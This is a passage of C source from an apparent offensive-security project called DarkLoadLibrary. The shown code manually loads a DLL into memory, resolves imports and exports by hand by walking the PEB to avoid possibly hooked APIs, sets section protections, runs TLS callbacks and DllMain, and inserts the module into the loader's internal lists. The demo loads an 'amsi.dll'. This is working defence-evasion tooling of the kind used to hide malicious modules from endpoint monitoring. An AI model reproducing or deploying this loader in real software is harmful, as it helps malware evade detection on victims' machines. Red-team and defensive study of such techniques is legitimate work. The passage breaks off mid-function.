(IMAGE_SNAP_BY_ORDINAL(pOrigFirstThunk->u1.Ordinal)) 310 | { 311 | ok = LocalLdrGetProcedureAddress( 312 | hLibrary, 313 | NULL, 314 | (WORD)pOrigFirstThunk->u1.Ordinal, 315 | (PVOID*)&(pFirstThunk->u1.Function) 316 | ); 317 | if (!ok) 318 | return FALSE; 319 | } 320 | else 321 | { 322 | pImportByName = RVA( 323 | PIMAGE_IMPORT_BY_NAME, 324 | pdModule->ModuleBase, 325 | pOrigFirstThunk->u1.AddressOfData 326 | ); 327 | 328 | FILL_STRING( 329 | aString, 330 | pImportByName->Name 331 | ); 332 | 333 | ok = LocalLdrGetProcedureAddress( 334 | hLibrary, 335 | &aString, 336 | 0, 337 | (PVOID*)&(pFirstThunk->u1.Function) 338 | ); 339 | if (!ok) 340 | return FALSE; 341 | } 342 | } 343 | } 344 | } 345 | 346 | return TRUE; 347 | } 348 | 349 | BOOL BeginExecution( 350 | PDARKMODULE pdModule 351 | ) 352 | { 353 | DWORD dwProtect; 354 | PIMAGE_NT_HEADERS pNtHeaders; 355 | PIMAGE_TLS_DIRECTORY pTlsDir; 356 | PIMAGE_DATA_DIRECTORY pDataDir; 357 | PIMAGE_TLS_CALLBACK* ppCallback; 358 | PIMAGE_SECTION_HEADER pSectionHeader; 359 | //PIMAGE_RUNTIME_FUNCTION_ENTRY pFuncEntry; 360 | 361 | VIRTUALPROTECT pVirtualProtect = (VIRTUALPROTECT)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "VirtualProtect"); 362 | FLUSHINSTRUCTIONCACHE pFlushInstructionCache = (FLUSHINSTRUCTIONCACHE)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "FlushInstructionCache"); 363 | 364 | DLLMAIN DllMain = NULL; 365 | 366 | pNtHeaders = RVA( 367 | PIMAGE_NT_HEADERS, 368 | pdModule->pbDllData, 369 | ((PIMAGE_DOS_HEADER)pdModule->pbDllData)->e_lfanew 370 | ); 371 | 372 | pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders); 373 | 374 | for (INT i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++, pSectionHeader++) 375 | { 376 | if (pSectionHeader->SizeOfRawData) 377 | { 378 | // what protections should it have 379 | DWORD dwExecutable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0; 380 | DWORD dwReadable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_READ) != 0; 381 | DWORD dwWriteable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) != 0; 382 | 383 | if (!dwExecutable && !dwReadable && !dwWriteable) { dwProtect = PAGE_NOACCESS; } 384 | else if (!dwExecutable && !dwReadable && dwWriteable) { dwProtect = PAGE_WRITECOPY; } 385 | else if (!dwExecutable && dwReadable && !dwWriteable) { dwProtect = PAGE_READONLY; } 386 | else if (!dwExecutable && dwReadable && dwWriteable) { dwProtect = PAGE_READWRITE; } 387 | else if (dwExecutable && !dwReadable && !dwWriteable) { dwProtect = PAGE_EXECUTE; } 388 | else if (dwExecutable && !dwReadable && dwWriteable) { dwProtect = PAGE_EXECUTE_WRITECOPY; } 389 | else if (dwExecutable && dwReadable && !dwWriteable) { dwProtect = PAGE_EXECUTE_READ; } 390 | else if (dwExecutable && dwReadable && dwWriteable) { dwProtect = PAGE_EXECUTE_READWRITE; } 391 | 392 | if (pSectionHeader->Characteristics & IMAGE_SCN_MEM_NOT_CACHED) 393 | { 394 | dwProtect |= PAGE_NOCACHE; 395 | } 396 | #if _M_X64 397 | PVOID BaseAddress = (PVOID)(pdModule->ModuleBase + pSectionHeader->VirtualAddress); 398 | SIZE_T RegionSize = pSectionHeader->SizeOfRawData; 399 | NTSTATUS status = NtProtectVirtualMemory( 400 | (HANDLE)-1, 401 | &BaseAddress, 402 | &RegionSize, 403 | dwProtect, 404 | &dwProtect 405 | ); 406 | if (!NT_SUCCESS(status)) 407 | { 408 | return FALSE; 409 | } 410 | #else 411 | pVirtualProtect( 412 | (LPVOID)(pdModule->ModuleBase + pSectionHeader->VirtualAddress), 413 | pSectionHeader->SizeOfRawData, 414 | dwProtect, 415 | &dwProtect 416 | ); 417 | #endif 418 | } 419 | } 420 | 421 | // flush the instruction cache 422 | pFlushInstructionCache((HANDLE)-1, NULL, 0); 423 | 424 | // execute the TLS callbacks 425 | pDataDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS]; 426 | 427 | if (pDataDir->Size) 428 | { 429 | pTlsDir = RVA( 430 | PIMAGE_TLS_DIRECTORY, 431 | pdModule->ModuleBase, 432 | pDataDir->VirtualAddress 433 | ); 434 | 435 | ppCallback = (PIMAGE_TLS_CALLBACK*)(pTlsDir->AddressOfCallBacks); 436 | 437 | for (; *ppCallback; ppCallback++) 438 | { 439 | (*ppCallback)((LPVOID)pdModule->ModuleBase, DLL_PROCESS_ATTACH, NULL); 440 | } 441 | } 442 | 443 | // on x64 register the exception handlers 444 | // #ifdef _WIN64 445 | // pDataDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION]; 446 | 447 | // if (pDataDir->Size) 448 | // { 449 | // pFuncEntry = RVA( 450 | // PIMAGE_RUNTIME_FUNCTION_ENTRY, 451 | // pdModule->ModuleBase, 452 | // pDataDir->VirtualAddress 453 | // ); 454 | 455 | // RtlAddFunctionTable( 456 | // (PRUNTIME_FUNCTION)pFuncEntry, 457 | // (pDataDir->Size / sizeof(IMAGE_RUNTIME_FUNCTION_ENTRY)) - 1, 458 | // pdModule->ModuleBase 459 | // ); 460 | // } 461 | // #endif 462 | 463 | // some DLLs don't have an entry point 464 | if (pNtHeaders->OptionalHeader.AddressOfEntryPoint == 0) 465 | return TRUE; 466 | 467 | // call the image entry point 468 | DllMain = RVA( 469 | DLLMAIN, 470 | pdModule->ModuleBase, 471 | pNtHeaders->OptionalHeader.AddressOfEntryPoint 472 | ); 473 | 474 | BOOL ok = DllMain( 475 | (HINSTANCE)pdModule->ModuleBase, 476 | DLL_PROCESS_ATTACH, 477 | (LPVOID)NULL 478 | ); 479 | 480 | return ok; 481 | } -------------------------------------------------------------------------------- /DarkLoadLibrary/src/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "pebutils.h" 5 | #include "darkloadlibrary.h" 6 | 7 | typedef DWORD (WINAPI * _ThisIsAFunction) (LPCWSTR); 8 | 9 | VOID main() 10 | { 11 | GETPROCESSHEAP pGetProcessHeap = (GETPROCESSHEAP)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "GetProcessHeap"); 12 | HEAPFREE pHeapFree = (HEAPFREE)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "HeapFree"); 13 | 14 | PDARKMODULE DarkModule = DarkLoadLibrary( 15 | LOAD_LOCAL_FILE, 16 | L".\\amsi.dll", 17 | NULL, 18 | 0, 19 | NULL 20 | ); 21 | 22 | if (!DarkModule->bSuccess) 23 | { 24 | printf("load failed: %S\n", DarkModule->ErrorMsg); 25 | pHeapFree(pGetProcessHeap(), 0, DarkModule->ErrorMsg); 26 | pHeapFree(pGetProcessHeap(), 0, DarkModule); 27 | return; 28 | } 29 | 30 | _ThisIsAFunction ThisIsAFunction = (_ThisIsAFunction)GetFunctionAddress( 31 | (HMODULE)DarkModule->ModuleBase, 32 | "CallThisFunction" 33 | ); 34 | pHeapFree(pGetProcessHeap(), 0, DarkModule); 35 | 36 | if (!ThisIsAFunction) 37 | { 38 | printf("failed to find it\n"); 39 | return; 40 | } 41 | 42 | ThisIsAFunction(L"this is working!!!"); 43 | 44 | return; 45 | } -------------------------------------------------------------------------------- /DarkLoadLibrary/src/pebutils.c: -------------------------------------------------------------------------------- 1 | #include "pebutils.h" 2 | 3 | ULONG LdrHashEntry(UNICODE_STRING UniName, BOOL XorHash) { 4 | ULONG ulRes = 0; 5 | RTLHASHUNICODESTRING pRtlHashUnicodeString = (RTLHASHUNICODESTRING)GetFunctionAddress(IsModulePresent(L"ntdll.dll"), "RtlHashUnicodeString"); 6 | 7 | pRtlHashUnicodeString( 8 | &UniName, 9 | TRUE, 10 | 0, 11 | &ulRes 12 | ); 13 | 14 | if (XorHash) 15 | { 16 | ulRes &= (LDR_HASH_TABLE_ENTRIES - 1); 17 | } 18 | 19 | return ulRes; 20 | } 21 | 22 | PLDR_DATA_TABLE_ENTRY2 FindLdrTableEntry( 23 | PCWSTR BaseName 24 | ) 25 | { 26 | PPEB2 pPeb; 27 | PLDR_DATA_TABLE_ENTRY2 pCurEntry; 28 | PLIST_ENTRY pListHead, pListEntry; 29 | 30 | pPeb = (PPEB2)READ_MEMLOC(PEB_OFFSET); 31 | 32 | if (pPeb == NULL) 33 | { 34 | return NULL; 35 | } 36 | 37 | pListHead = &pPeb->Ldr->InLoadOrderModuleList; 38 | pListEntry = pListHead->Flink; 39 | 40 | do 41 | { 42 | pCurEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY2, InLoadOrderLinks); 43 | pListEntry = pListEntry->Flink; 44 | 45 | //BOOL BaseName1 = WideStringCompare(BaseName, pCurEntry->BaseDllName.Buffer, (pCurEntry->BaseDllName.Length / sizeof(wchar_t)) - 4); 46 | BOOL BaseName2 = WideStringCompare(BaseName, pCurEntry->BaseDllName.Buffer, WideStringLength(BaseName)); 47 | 48 | if (BaseName2 == TRUE) 49 | { 50 | return pCurEntry; 51 | } 52 | 53 | } while (pListEntry != pListHead); 54 | 55 | return NULL; 56 | 57 | } 58 | 59 | PRTL_RB_TREE FindModuleBaseAddressIndex() 60 | { 61 | SIZE_T stEnd = 0; 62 | PRTL_BALANCED_NODE pNode = NULL; 63 | PRTL_RB_TREE pModBaseAddrIndex = NULL; 64 | 65 | /* 66 | TODO: 67 | Implement these manually cause these could totally be hooked 68 | and various other reasons 69 | */ 70 | RTLCOMPAREMEMORY pRtlCompareMemory = (RTLCOMPAREMEMORY)GetFunctionAddress(IsModulePresent(L"ntdll.dll"), "RtlCompareMemory"); 71 | STRCMP pstrcmp = (STRCMP)GetFunctionAddress(IsModulePresent(L"ntdll.dll"), "strcmp"); 72 | 73 | PLDR_DATA_TABLE_ENTRY2 pLdrEntry = FindLdrTableEntry(L"ntdll.dll"); 74 | 75 | pNode = &pLdrEntry->BaseAddressIndexNode; 76 | 77 | do 78 | { 79 | pNode = (PRTL_BALANCED_NODE)(pNode->ParentValue & (~7)); 80 | } while (pNode->ParentValue & (~7)); 81 | 82 | if (!pNode->Red) 83 | { 84 | DWORD dwLen = 0; 85 | SIZE_T stBegin = 0; 86 | 87 | PIMAGE_NT_HEADERS pNtHeaders = RVA( 88 | PIMAGE_NT_HEADERS, 89 | pLdrEntry->DllBase, 90 | ((PIMAGE_DOS_HEADER)pLdrEntry->DllBase)->e_lfanew 91 | ); 92 | 93 | PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNtHeaders); 94 | 95 | for (INT i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) 96 | { 97 | if (!pstrcmp(".data", (LPCSTR)pSection->Name)) 98 | { 99 | stBegin = (SIZE_T)pLdrEntry->DllBase + pSection->VirtualAddress; 100 | dwLen = pSection->Misc.VirtualSize; 101 | 102 | break; 103 | } 104 | 105 | ++pSection; 106 | } 107 | 108 | for (DWORD i = 0; i < dwLen - sizeof(SIZE_T); ++stBegin, ++i) 109 | { 110 | 111 | SIZE_T stRet = pRtlCompareMemory( 112 | (PVOID)stBegin, 113 | (PVOID)&pNode, 114 | sizeof(SIZE_T) 115 | ); 116 | 117 | if (stRet == sizeof(SIZE_T)) 118 | { 119 | stEnd = stBegin; 120 | break; 121 | } 122 | } 123 | 124 | if (stEnd == 0) 125 | { 126 | return NULL; 127 | } 128 | 129 | PRTL_RB_TREE pTree = (PRTL_RB_TREE)stEnd; 130 | 131 | if (pTree && pTree->Root && pTree->Min) 132 | { 133 | pModBaseAddrIndex = pTree; 134 | } 135 | } 136 | 137 | return pModBaseAddrIndex; 138 | } 139 | 140 | BOOL AddBaseAddressEntry( 141 | PLDR_DATA_TABLE_ENTRY2 pLdrEntry, 142 | PVOID lpBaseAddr 143 | ) 144 | { 145 | RTLRBINSERTNODEEX pRtlRbInsertNodeEx = (RTLRBINSERTNODEEX)GetFunctionAddress(IsModulePresent(L"ntdll.dll"), "RtlRbInsertNodeEx"); 146 | PRTL_RB_TREE pModBaseAddrIndex = FindModuleBaseAddressIndex(); 147 | 148 | if (!pModBaseAddrIndex) 149 | { 150 | return FALSE; 151 | } 152 | 153 | BOOL bRight = FALSE; 154 | PLDR_DATA_TABLE_ENTRY2 pLdrNode = (PLDR_DATA_TABLE_ENTRY2)((size_t)pModBaseAddrIndex - offsetof(LDR_DATA_TABLE_ENTRY2, BaseAddressIndexNode)); 155 | 156 | do 157 | { 158 | 159 | if (lpBaseAddr < pLdrNode->DllBase) 160 | { 161 | if (!pLdrNode->BaseAddressIndexNode.Left) 162 | { 163 | break; 164 | } 165 | 166 | pLdrNode = (PLDR_DATA_TABLE_ENTRY2)((size_t)pLdrNode->BaseAddressIndexNode.Left - offsetof(LDR_DATA_TABLE_ENTRY2, BaseAddressIndexNode)); 167 | } 168 | 169 | else if (lpBaseAddr > pLdrNode->DllBase) 170 | { 171 | if (!pLdrNode->BaseAddressIndexNode.Right) 172 | { 173 | bRight = TRUE; 174 | break; 175 | } 176 | 177 | pLdrNode = (PLDR_DATA_TABLE_ENTRY2)((size_t)pLdrNode->BaseAddressIndexNode.Right - offsetof(LDR_DATA_TABLE_ENTRY2, BaseAddressIndexNode)); 178 | } 179 | 180 | else 181 | { 182 | pLdrNode->DdagNode->LoadCount++; 183 | } 184 | } while (TRUE); 185 | 186 | pRtlRbInsertNodeEx(pModBaseAddrIndex, &pLdrNode->BaseAddressIndexNode, bRight, &pLdrEntry->BaseAddressIndexNode); 187 | 188 | return TRUE; 189 | } 190 | 191 | PLIST_ENTRY FindHashTable() { 192 | PLIST_ENTRY pList = NULL; 193 | PLIST_ENTRY pHead = NULL; 194 | PLIST_ENTRY pEntry = NULL; 195 | PLDR_DATA_TABLE_ENTRY2 pCurrentEntry = NULL; 196 | 197 | PPEB2 pPeb = (PPEB2)READ_MEMLOC(PEB_OFFSET); 198 | 199 | pHead = &pPeb->Ldr->InInitializationOrderModuleList; 200 | pEntry = pHead->Flink; 201 | 202 | do 203 | { 204 | pCurrentEntry = CONTAINING_RECORD( 205 | pEntry, 206 | LDR_DATA_TABLE_ENTRY2, 207 | InInitializationOrderLinks 208 | ); 209 | 210 | pEntry = pEntry->Flink; 211 | 212 | if (pCurrentEntry->HashLinks.Flink == &pCurrentEntry->HashLinks) 213 | { 214 | continue; 215 | } 216 | 217 | pList = pCurrentEntry->HashLinks.Flink; 218 | 219 | if (pList->Flink == &pCurrentEntry->HashLinks) 220 | { 221 | ULONG ulHash = LdrHashEntry( 222 | pCurrentEntry->BaseDllName, 223 | TRUE 224 | ); 225 | 226 | pList = (PLIST_ENTRY)( 227 | (size_t)pCurrentEntry->HashLinks.Flink - 228 | ulHash * 229 | sizeof(LIST_ENTRY) 230 | ); 231 | 232 | break; 233 | } 234 | 235 | pList = NULL; 236 | } while (pHead != pEntry); 237 | 238 | return pList; 239 | } 240 | 241 | VOID InsertTailList( 242 | PLIST_ENTRY ListHead, 243 | PLIST_ENTRY Entry 244 | ) 245 | { 246 | PLIST_ENTRY Blink; 247 | 248 | Blink = ListHead->Blink; 249 | Entry->Flink = ListHead; 250 | Entry->Blink = Blink; 251 | Blink->Flink = Entry; 252 | ListHead->Blink = Entry; 253 | 254 | return; 255 | } 256 | 257 | BOOL AddHashTableEntry( 258 | PLDR_DATA_TABLE_ENTRY2 pLdrEntry 259 | ) 260 | { 261 | PPEB pPeb; 262 | PPEB_LDR_DATA2 pPebData; 263 | PLIST_ENTRY LdrpHashTable; 264 | 265 | pPeb = (PPEB)READ_MEMLOC(PEB_OFFSET); 266 | 267 | RtlInitializeListEntry( 268 | &pLdrEntry->HashLinks 269 | ); 270 | 271 | LdrpHashTable = FindHashTable(); 272 | if (!LdrpHashTable) 273 | { 274 | return FALSE; 275 | } 276 | 277 | pPebData = (PPEB_LDR_DATA2)pPeb->Ldr; 278 | 279 | // insert into hash table 280 | ULONG ulHash = LdrHashEntry( 281 | pLdrEntry->BaseDllName, 282 | TRUE 283 | ); 284 | 285 | InsertTailList( 286 | &LdrpHashTable[ulHash], 287 | &pLdrEntry->HashLinks 288 | ); 289 | 290 | // insert into other lists 291 | InsertTailList( 292 | &pPebData->InLoadOrderModuleList, 293 | &pLdrEntry->InLoadOrderLinks 294 | ); 295 | 296 | InsertTailList( 297 | &pPebData->InMemoryOrderModuleList, 298 | &pLdrEntry->InMemoryOrderLinks 299 | ); 300 | 301 | InsertTailList( 302 | &pPebData->InInitializationOrderModuleList, 303 | &pLdrEntry->InInitializationOrderLinks 304 | ); 305 | 306 | return TRUE; 307 | } 308 | 309 | HMODULE IsModulePresentA( 310 | char* Name 311 | ) 312 | { 313 | MULTIBYTETOWIDECHAR pMultiByteToWideChar = (MULTIBYTETOWIDECHAR)GetFunctionAddress(IsModulePresent(L"kernel32.dll"), "MultiByteToWideChar"); 314 | 315 | WCHAR* wideName = NULL; 316 | DWORD wideNameSize = 0; 317 | 318 | // MultiByteToWideChar returns size in characters, not bytes 319 | wideNameSize = pMultiByteToWideChar(CP_UTF8, 0, Name, -1, NULL, 0) * 2; 320 | 321 | /* 322 | Attempt to allocate this on the stack, seeing as it's faster and we can attempt 323 | to avoid funny shit like heap fragmentation on a simple temp var 324 | */ 325 | wideName = (WCHAR*)_malloca(wideNameSize); 326 | 327 | pMultiByteToWideChar(CP_UTF8, 0, Name, -1, wideName, wideNameSize); 328 | 329 | HMODULE hModule = IsModulePresent(wideName); 330 | 331 | _freea(wideName); 332 | 333 | return hModule; 334 | } 335 | 336 | HMODULE IsModulePresent( 337 | LPCWSTR lpwName 338 | ) 339 | { 340 | if (lpwName == NULL) 341 | return (HMODULE)NULL; 342 | 343 | PPEB pPeb; 344 | PUCHAR ucModPtrOff; 345 | PLDR_DATA_TABLE_ENTRY2 pLdrTbl; 346 | 347 | pPeb = (PPEB)READ_MEMLOC(PEB_OFFSET); 348 | 349 | PLIST_ENTRY pModListEnd = &pPeb->Ldr->InMemoryOrderModuleList; 350 | PLIST_ENTRY pModList = pModListEnd->Flink; 351 | 352 | do 353 | { 354 | ucModPtrOff = (PUCHAR)pModList - (sizeof(LIST_ENTRY)); 355 | 356 | pLdrTbl = (PLDR_DATA_TABLE_ENTRY2)ucModPtrOff; 357 | 358 | /* 359 | TODO: 360 | Make this its own ANSI case-insensitive string compare function 361 | */ 362 | BOOL match = TRUE; 363 | for (int i = 0; i < pLdrTbl->BaseDllName.Length/2; i++) 364 | { 365 | char a, b; 366 | a = pLdrTbl->BaseDllName.Buffer[i]; 367 | b = lpwName[i]; 368 | if (a >= 'A' && a <= 'Z') 369 | a += 32; 370 | if (b >= 'A' && b <= 'Z') 371 | b += 32; 372 | if (a != b) 373 | { 374 | match = FALSE; 375 | break; 376 | } 377 | } 378 | if (match) 379 | { 380 | // already loaded, so return the base address 381 | return (HMODULE)pLdrTbl->DllBase; 382 | } 383 | 384 | pModList = pModList->Flink; 385 | } while (pModList != pModListEnd); 386 | 387 | return (HMODULE)NULL; 388 | } 389 | 390 | PVOID GetFunctionAddress( 391 | HMODULE hModule, 392 | char* ProcName 393 | ) 394 | { 395 | STRING aString = { 0 }; 396 | FILL_STRING( 397 | aString, 398 | ProcName 399 | ); 400 | 401 | PVOID FunctionAddress = NULL; 402 | BOOL ok = LocalLdrGetProcedureAddress( 403 | hModule, 404 | &aString, 405 | 0, 406 | &FunctionAddress 407 | ); 408 | if (!ok) 409 | return NULL; 410 | return FunctionAddress; 411 | } 412 | 413 | BOOL LocalLdrGetProcedureAddress( 414 | HMODULE hLibrary, 415 | PANSI_STRING ProcName, 416 | WORD Ordinal, 417 | PVOID* FunctionAddress 418 | ) 419 | { 420 | if (ProcName == NULL && Ordinal == 0) 421 | { 422 | printf("LocalLdrGetProcedureAddress: provide either a Function name or Ordinal\n"); 423 | return FALSE; 424 | } 425 | 426 | if (ProcName != NULL && Ordinal != 0) 427 | { 428 | printf("LocalLdrGetProcedureAddress: provide Function name or Ordinal, not both\n"); 429 | return FALSE; 430 | } 431 | 432 | BOOL ok = FALSE; 433 | if (hLibrary != NULL) 434 | { 435 | ok = _LocalLdrGetProcedureAddress( 436 | hLibrary, 437 | ProcName, 438 | Ordinal, 439 | FunctionAddress 440 | ); 441 | if (ok) 442 | return TRUE; 443 | } 444 | 445 | // some deprecated DLLs have their functions implemented in KERNEL32 and KERNELBASE 446 | PVOID kernel32_addr = IsModulePresent(L"KERNEL32.dll"); 447 | if (kernel32_addr != hLibrary) 448 | { 449 | ok = _LocalLdrGetProcedureAddress( 450 | kernel32_addr, 451 | ProcName, 452 | Ordinal, 453 | FunctionAddress 454 | ); 455 | } 456 | if (ok) 457 | return TRUE; 458 | 459 | PVOID kernelbase_addr = IsModulePresent(L"KERNELBASE.dll"); 460 | if (kernelbase_addr != hLibrary) 461 | { 462 | ok = _LocalLdrGetProcedureAddress( 463 | kernelbase_addr, 464 | ProcName, 465 | Ordinal, 466 | FunctionAddress 467 | ); 468 | } 469 | if (ok) 470 | return TRUE; 471 | 472 | //printf("Using fallback LdrGetProcedureAddress for resolving an unknown function address\n"); 473 | 474 | *FunctionAddress = NULL; 475 | LDRGETPROCADDRESS pLdrGetProcedureAddress = NULL; 476 | STRING funcname_s = { 0 }; 477 | FILL_STRING( 478 | funcname_s, 479 | "LdrGetProcedureAddress" 480 | ); 481 | _LocalLdrGetProcedureAddress( 482 | IsModulePresent(L"ntdll.dll"), 483 | &funcname_s, 484 | 0, 485 | (PVOID*)&pLdrGetProcedureAddress 486 | ); 487 | pLdrGetProcedureAddress( 488 | hLibrary, 489 | ProcName, 490 | Ordinal, 491 | FunctionAddress 492 | ); 493 | return *FunctionAddress != NULL; 494 | } 495 | 496 | BOOL my_strncmp(char* s1, char* s2, size_t n) 497 | { 498 | BOOL match = TRUE; 499 | for (size_t i = 0; i < n; i++) 500 | { 501 | if (s1[i] != s2[i]) 502 | { 503 | match = FALSE; 504 | break; 505 | } 506 | } 507 | return match; 508 | } 509 | 510 | size_t my_strlen(char* s) 511 | { 512 | size_t size = -1; 513 | while (s[++size]); 514 | return size; 515 | } 516 | 517 | void my_strncpy(char* dst, char* src, size_t size) 518 | { 519 | for (size_t i = 0; i < size; i++) 520 | { 521 | dst[i] = src[i]; 522 | if (!src[i]) 523 | break; 524 | } 525 | } 526 | 527 | BOOL _LocalLdrGetProcedureAddress( 528 | HMODULE hLibrary, 529 | PANSI_STRING ProcName, 530 | WORD Ordinal, 531 | PVOID* FunctionAddress 532 | ) 533 | { 534 | PIMAGE_NT_HEADERS pNtHeaders; 535 | PIMAGE_DATA_DIRECTORY pDataDir; 536 | PIMAGE_EXPORT_DIRECTORY pExpDir; 537 | PIMAGE_SECTION_HEADER pSecHeader; 538 | 539 | if (hLibrary == NULL) 540 | return FALSE; 541 | 542 | pNtHeaders = RVA( 543 | PIMAGE_NT_HEADERS, 544 | hLibrary, 545 | ((PIMAGE_DOS_HEADER)hLibrary)->e_lfanew 546 | ); 547 | 548 | if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) 549 | { 550 | printf("LocalLdrGetProcedureAddress: invalid IMAGE_NT_SIGNATURE\n"); 551 | return FALSE; 552 | } 553 | 554 | // find the address range for the .text section 555 | PVOID startValidSection = NULL; 556 | PVOID endValidSection = NULL; 557 | 558 | for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) 559 | { 560 | pSecHeader = RVA( 561 | PIMAGE_SECTION_HEADER, 562 | &pNtHeaders->OptionalHeader, 563 | pNtHeaders->FileHeader.SizeOfOptionalHeader + i * IMAGE_SIZEOF_SECTION_HEADER 564 | ); 565 | if (my_strncmp(".text", pSecHeader->Name, 6)) 566 | { 567 | startValidSection = RVA( 568 | PVOID, 569 | hLibrary, 570 | pSecHeader->VirtualAddress 571 | ); 572 | endValidSection = RVA( 573 | PVOID, 574 | startValidSection, 575 | pSecHeader->SizeOfRawData 576 | ); 577 | break; 578 | } 579 | } 580 | if (startValidSection == NULL || endValidSection == NULL) 581 | return FALSE; 582 | 583 | pDataDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 584 | if (pDataDir->Size) 585 | { 586 | pExpDir = RVA( 587 | PIMAGE_EXPORT_DIRECTORY, 588 | hLibrary, 589 | pDataDir->VirtualAddress 590 | ); 591 | 592 | int numberOfEntries = ProcName != NULL ? pExpDir->NumberOfNames : pExpDir->NumberOfFunctions; 593 | // iterate over all the exports 594 | for (int i = 0; i < numberOfEntries; i++) 595 | { 596 | BOOL found = FALSE; 597 | ULONG32 FunctionOrdinal; 598 | if (ProcName != NULL) 599 | { 600 | // searching by name 601 | ULONG32* pRVA = RVA( 602 | ULONG32*, 603 | hLibrary, 604 | pExpDir->AddressOfNames + i * 4 605 | ); 606 | LPCSTR functionName = RVA( 607 | LPCSTR, 608 | hLibrary, 609 | *pRVA 610 | ); 611 | if (my_strlen(functionName) != ProcName->Length) 612 | continue; 613 | if (my_strncmp(functionName, ProcName->Buffer, ProcName->Length)) 614 | { 615 | // found it 616 | found = TRUE; 617 | short* pRVA2 = RVA( 618 | short*, 619 | hLibrary, 620 | pExpDir->AddressOfNameOrdinals + i * 2 621 | ); 622 | FunctionOrdinal = pExpDir->Base + *pRVA2; 623 | } 624 | } 625 | else 626 | { 627 | // searching by ordinal 628 | short* pRVA2 = RVA( 629 | short*, 630 | hLibrary, 631 | pExpDir->AddressOfNameOrdinals + i * 2 632 | ); 633 | FunctionOrdinal = pExpDir->Base + *pRVA2; 634 | if (FunctionOrdinal == Ordinal) 635 | { 636 | // found it 637 | found = TRUE; 638 | } 639 | } 640 | if (found) 641 | { 642 | ULONG32* pFunctionRVA = RVA( 643 | ULONG32*, 644 | hLibrary, 645 | pExpDir->AddressOfFunctions + 4 * (FunctionOrdinal - pExpDir->Base) 646 | ); 647 | PVOID FunctionPtr = RVA( 648 | PVOID, 649 | hLibrary, 650 | *pFunctionRVA 651 | ); 652 | 653 | if (startValidSection > FunctionPtr || FunctionPtr > endValidSection) 654 | { 655 | // this is not a pointer to a function, but a reference to another library with the real address 656 | size_t full_length = my_strlen((char*)FunctionPtr); 657 | int lib_length = 0; 658 | for (int j = 0; j < full_length; j++) 659 | { 660 | if (((char*)FunctionPtr)[j] == '.') 661 | { 662 | lib_length = j; 663 | break; 664 | } 665 | } 666 | if (lib_length != 0) 667 | { 668 | 669 | size_t func_length = full_length - lib_length - 1; 670 | char libname[256]; 671 | my_strncpy(libname, (char*)FunctionPtr, lib_length); 672 | my_strncpy(libname + lib_length, ".dll", 5); 673 | char* funcname = (char*)FunctionPtr + lib_length + 1; 674 | STRING funcname_s = { 0 }; 675 | FILL_STRING( 676 | funcname_s, 677 | funcname 678 | ); 679 | PVOID lib_addr = IsModulePresentA(libname); 680 | if (lib_addr == NULL || lib_addr == hLibrary) 681 | { 682 | return FALSE; 683 | } 684 | 685 | // call ourselves recursively 686 | BOOL ok = FALSE; 687 | ok = LocalLdrGetProcedureAddress( 688 | lib_addr, 689 | &funcname_s, 690 | 0, 691 | &FunctionPtr 692 | ); 693 | if (!ok) 694 | { 695 | printf("LocalLdrGetProcedureAddress: failed to resolve address of: %s!%s\n", libname, funcname); 696 | return FALSE; 697 | } 698 | } 699 | } 700 | *FunctionAddress = FunctionPtr; 701 | return TRUE; 702 | } 703 | } 704 | } 705 | return FALSE; 706 | } 707 | 708 | BOOL LinkModuleToPEB( 709 | PDARKMODULE pdModule 710 | ) 711 | { 712 | PIMAGE_NT_HEADERS pNtHeaders; 713 | UNICODE_STRING FullDllName, BaseDllName; 714 | PLDR_DATA_TABLE_ENTRY2 pLdrEntry = NULL; 715 | 716 | GETPROCESSHEAP pGetProcessHeap = (GETPROCESSHEAP)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "GetProcessHeap"); 717 | HEAPALLOC pHeapAlloc = (HEAPALLOC)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "HeapAlloc"); 718 | RTLINITUNICODESTRING pRtlInitUnicodeString = (RTLINITUNICODESTRING)GetFunctionAddress(IsModulePresent(L"ntdll.dll"), "RtlInitUnicodeString"); 719 | NTQUERYSYSTEMTIME pNtQuerySystemTime = (NTQUERYSYSTEMTIME)GetFunctionAddress(IsModulePresent(L"ntdll.dll"), "NtQuerySystemTime"); 720 | 721 | pNtHeaders = RVA( 722 | PIMAGE_NT_HEADERS, 723 | pdModule->pbDllData, 724 | ((PIMAGE_DOS_HEADER)pdModule->pbDllData)->e_lfanew 725 | ); 726 | 727 | // convert the names to unicode 728 | pRtlInitUnicodeString( 729 | &FullDllName, 730 | pdModule->LocalDLLName 731 | ); 732 | 733 | pRtlInitUnicodeString( 734 | &BaseDllName, 735 | pdModule->CrackedDLLName 736 | ); 737 | 738 | // link the entry to the PEB 739 | pLdrEntry = (PLDR_DATA_TABLE_ENTRY2)pHeapAlloc( 740 | pGetProcessHeap(), 741 | HEAP_ZERO_MEMORY, 742 | sizeof(LDR_DATA_TABLE_ENTRY2) 743 | ); 744 | 745 | if (!pLdrEntry) 746 | { 747 | return FALSE; 748 | } 749 | 750 | // start setting the values in the entry 751 | pNtQuerySystemTime(&pLdrEntry->LoadTime); 752 | 753 | // do the obvious ones 754 | pLdrEntry->ReferenceCount = 1; 755 | pLdrEntry->LoadReason = LoadReasonDynamicLoad; 756 | pLdrEntry->OriginalBase = 